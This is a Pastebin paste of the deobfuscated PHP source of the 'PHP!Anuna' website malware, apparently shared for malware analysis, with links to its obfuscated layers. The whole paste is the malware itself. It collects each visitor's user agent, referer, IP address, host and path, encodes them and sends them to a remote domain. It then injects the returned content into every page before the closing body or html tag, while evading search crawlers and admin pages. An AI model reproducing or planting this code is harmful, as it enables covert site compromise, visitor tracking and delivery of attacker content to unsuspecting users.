Advertisement
Antelox

PHP!Anuna deobfuscated

Jun 15th, 2016
389
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 4.73 KB | None | 0 0
  1. //PHP!Anuna final deobfuscated code
  2. //original obfuscated code: https://glot.io/snippets/efnglztuws
  3. //obfuscated code - layer 1: https://glot.io/snippets/efngqzvpbk
  4. //obfuscated code - layer 2: https://glot.io/snippets/efngrvrbiz
  5. //obfuscated code - layer 3: https://glot.io/snippets/efngtfgm8h
  6. //obfuscated code - layer 4: https://glot.io/snippets/efngubu37f
  7.  
  8. <?php
  9.  
  10. function g_1($url)
  11.     {
  12.     if (function_exists("file_get_contents") === false) return false;
  13.     $buf = @file_get_contents($url);
  14.     if ($buf == "") return false;
  15.     return $buf;
  16.     }
  17.  
  18. function g_2($url)
  19.     {
  20.     if (function_exists("curl_init") === false) return false;
  21.     $ch = curl_init();
  22.     curl_setopt($ch, CURLOPT_URL, $url);
  23.     curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  24.     curl_setopt($ch, CURLOPT_TIMEOUT, 10);
  25.     curl_setopt($ch, CURLOPT_HEADER, 0);
  26.     $res = curl_exec($ch);
  27.     curl_close($ch);
  28.     if ($res == "") return false;
  29.     return $res;
  30.     }
  31.  
  32. function g_3($url)
  33.     {
  34.     if (function_exists("file") === false) return false;
  35.     $inc = @file($url);
  36.     $buf = @implode("", $inc);
  37.     if ($buf == "") return false;
  38.     return $buf;
  39.     }
  40.  
  41. function g_4($url)
  42.     {
  43.     if (function_exists("socket_create") === false) return false;
  44.     $p = @parse_url($url);
  45.     $host = $p["host"];
  46.     if (!isset($p["query"])) $p["query"] = "";
  47.     $uri = $p["path"] . "?" . $p["query"];
  48.     $ip1 = @gethostbyname($host);
  49.     $ip2 = @long2ip(@ip2long($ip1));
  50.     if ($ip1 != $ip2) return false;
  51.     $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
  52.     if (!@socket_connect($sock, $ip1, 80))
  53.         {
  54.         @socket_close($sock);
  55.         return false;
  56.         }
  57.  
  58.     $req = "GET $uri HTTP/1.0\n";
  59.     $req.= "Host: $host\n\n";
  60.     socket_write($sock, $req);
  61.     $buf = "";
  62.     while ($t = socket_read($sock, 10000))
  63.         {
  64.         $buf.= $t;
  65.         }
  66.  
  67.     @socket_close($sock);
  68.     if ($buf == "") return false;
  69.     list($m, $buf) = explode("\r\n\r\n", $buf);
  70.     return $buf;
  71.     }
  72.  
  73. function gtd($url)
  74.     {
  75.     $co = "";
  76.     $co = @g_1($url);
  77.     if ($co !== false) return $co;
  78.     $co = @g_2($url);
  79.     if ($co !== false) return $co;
  80.     $co = @g_3($url);
  81.     if ($co !== false) return $co;
  82.     $co = @g_4($url);
  83.     if ($co !== false) return $co;
  84.     return "";
  85.     }
  86.  
  87. if (!function_exists("comgzi"))
  88.     {
  89.     function comgzi($gzData)
  90.         {
  91.         if (substr($gzData, 0, 3) == "\x1f\x8b\x08")
  92.             {
  93.             $i = 10;
  94.             $flg = ord(substr($gzData, 3, 1));
  95.             if ($flg > 0)
  96.                 {
  97.                 if ($flg & 4)
  98.                     {
  99.                     list($xlen) = unpack("v", substr($gzData, $i, 2));
  100.                     $i = $i + 2 + $xlen;
  101.                     }
  102.  
  103.                 if ($flg & 8) $i = strpos($gzData, "\0", $i) + 1;
  104.                 if ($flg & 16) $i = strpos($gzData, "\0", $i) + 1;
  105.                 if ($flg & 2) $i = $i + 2;
  106.                 }
  107.  
  108.             return @gzinflate(substr($gzData, $i, -8));
  109.             }
  110.           else
  111.             {
  112.             return false;
  113.             }
  114.         }
  115.     }
  116.  
  117. function k34($op, $text)
  118.     {
  119.     return base64_encode(en2($text, $op));
  120.     }
  121.  
  122. function check212($param)
  123.     {
  124.     if (!isset($_SERVER[$param])) $a = "non";
  125.       else
  126.     if ($_SERVER[$param] == "") $a = "non";
  127.       else $a = $_SERVER[$param];
  128.     return $a;
  129.     }
  130.  
  131. function day212()
  132.     {
  133.     $a = check212("HTTP_USER_AGENT");
  134.     $b = check212("HTTP_REFERER");
  135.     $c = check212("REMOTE_ADDR");
  136.     $d = check212("HTTP_HOST");
  137.     $e = check212("PHP_SELF");
  138.     $domarr = array(
  139.         "33db9538",
  140.         "9507c4e8",
  141.         "e5b57288",
  142.         "54dfa1cb"
  143.     );
  144.     if (($a == "non") or ($c == "non") or ($d == "non") or strrpos(strtolower($e) , "admin") or (preg_match("/" . implode("|", array(
  145.         "google",
  146.         "slurp",
  147.         "msnbot",
  148.         "ia_archiver",
  149.         "yandex",
  150.         "rambler"
  151.     )) . "/i", strtolower($a))))
  152.         {
  153.         $o1 = "";
  154.         }
  155.       else
  156.         {
  157.         $op = mt_rand(100000, 999999);
  158.         $g4 = $op . "?" . urlencode(urlencode(k34($op, $a) . "." . k34($op, $b) . "." . k34($op, $c) . "." . k34($op, $d) . "." . k34($op, $e)));
  159.         $url = "http://" . cqq(".com") . "/" . $g4;
  160.         $ca1 = en2(@gtd($url) , $op);
  161.         $a1 = @explode("!NF0", $ca1);
  162.         if (sizeof($a1) >= 2) $o1 = $a1[1];
  163.           else $o1 = "";
  164.         }
  165.  
  166.     return $o1;
  167.     }
  168.  
  169. if (!function_exists("dcoo"))
  170.     {
  171.     function dcoo($cz, $length = null)
  172.         {
  173.         if (false !== ($dz = @gzinflate($cz))) return $dz;
  174.         if (false !== ($dz = @comgzi($cz))) return $dz;
  175.         if (false !== ($dz = @gzuncompress($cz))) return $dz;
  176.         if (function_exists("gzdecode"))
  177.             {
  178.             $dz = @gzdecode($cz);
  179.             if (false !== $dz) return $dz;
  180.             }
  181.  
  182.         return $cz;
  183.         }
  184.     }
  185.  
  186. if (!function_exists("pa22"))
  187.     {
  188.     function pa22($v)
  189.         {
  190.         Header("Content-Encoding: none");
  191.         $p = "\x70\162\x65\147\x5f";
  192.         $p1 = $p . "\155\x61\164\x63\150";
  193.         $p2 = $p . "\162\x65\160\x6c\141\x63\145";
  194.         $t = dcoo($v);
  195.         if ($p1("/\<\/body/si", $t))
  196.             {
  197.             return $p2("/(\<\/body[^\>]*\>)/si", day212() . "\n" . "$" . "1", $t, 1);
  198.             }
  199.           else
  200.             {
  201.             if ($p1("/\<\/html/si", $t))
  202.                 {
  203.                 return $p2("/(\<\/html[^\>]*\>)/si", day212() . "\n" . "$" . "1", $t, 1);
  204.                 }
  205.               else
  206.                 {
  207.                 return $t;
  208.                 }
  209.             }
  210.         }
  211.     }
  212.  
  213. ob_start("pa22");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement